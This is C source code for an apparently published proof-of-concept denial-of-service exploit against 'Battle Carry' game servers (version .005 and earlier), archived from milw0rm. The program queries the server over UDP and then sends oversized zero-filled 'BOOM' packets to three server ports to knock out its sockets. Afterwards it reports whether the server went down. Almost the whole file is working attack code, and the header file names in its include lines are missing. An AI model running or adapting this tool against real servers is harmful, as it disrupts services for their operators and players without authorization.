/* by Luigi Auriemma */ #include #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } // inserted winerr.h /str0ke #define close closesocket #else #include #include #include #include #include #include #endif #define VER "0.1" #define BUFFSZ (8192 + 10) // +10 is for the BOOM #define PORT 7000 #define TIMEOUT 1 #define INFO "Requesting ServerInfoObject" int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz); int timeout(int sock); u_int resolv(char *host); void std_err(void); struct sockaddr_in peer; int main(int argc, char *argv[]) { int sd, len; u_short port = PORT; u_char buff[BUFFSZ]; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "Battle Carry <= .005 socket termination "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s [port(%hu)]\n" "\n" "Note: this tool blocks all the 3 available server ports\n" "Note: port can be one of the 3 server ports, the tool will automatically\n" " recognize it\n" "\n", argv[0], port); exit(1); } if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); // peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); printf("- get server info from port %hu:\n", port + 10); peer.sin_port = htons(port + 10); len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff)); if(len < 0) { printf("- get server info from port %hu:\n", port - 1000); peer.sin_port = htons(port - 1000); len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff)); if(len < 0) { printf("- get server info from port %hu:\n", port); peer.sin_port = htons(port); len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff)); if(len < 0) { printf("\n" "Alert: no query port found, I try to send the packet only to the port %hu\n", port); } } } if(len > 0) { port = ntohs(*(u_short *)(buff + 15)); printf( " IP: %.15s\n" " Port: %hu\n" " Name: %.26s\n" " Map: %.16s\n" " Players: %hhu\n" " Mode: %.5s\n" "\n", buff, port, buff + 17, buff + 42, buff[58], buff + 59); } printf("- send BOOM packet to the port %hu\n", port); peer.sin_port = htons(port); memset(buff, 0, sizeof(buff)); len = send_recv(sd, buff, sizeof(buff), buff, sizeof(buff)); printf("- send BOOM packet to the port %hu\n", port + 10); peer.sin_port = htons(port + 10); if(len > 0) memset(buff, 0, sizeof(buff)); len = send_recv(sd, buff, sizeof(buff), buff, sizeof(buff)); printf("- send BOOM packet to the port %hu\n", port + 1010); peer.sin_port = htons(port + 1010); if(len > 0) memset(buff, 0, sizeof(buff)); len = send_recv(sd, buff, sizeof(buff), buff, sizeof(buff)); fputs("- check server:\n", stdout); peer.sin_port = htons(port + 10); len = send_recv(sd, INFO, sizeof(INFO) - 1, buff, sizeof(buff)); if(len < 0) { fputs("\n Server IS vulnerable!!!\n", stdout); } else { fputs("\n Server doesn't seem vulnerable\n", stdout); } close(sd); return(0); } int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) { int retry, len; for(retry = 2; retry; retry--) { sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer)); if(!timeout(sd)) break; } if(!retry) return(-1); len = recvfrom(sd, out, outsz, 0, NULL, NULL); // if(len < 0); return(len); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2005-11-02]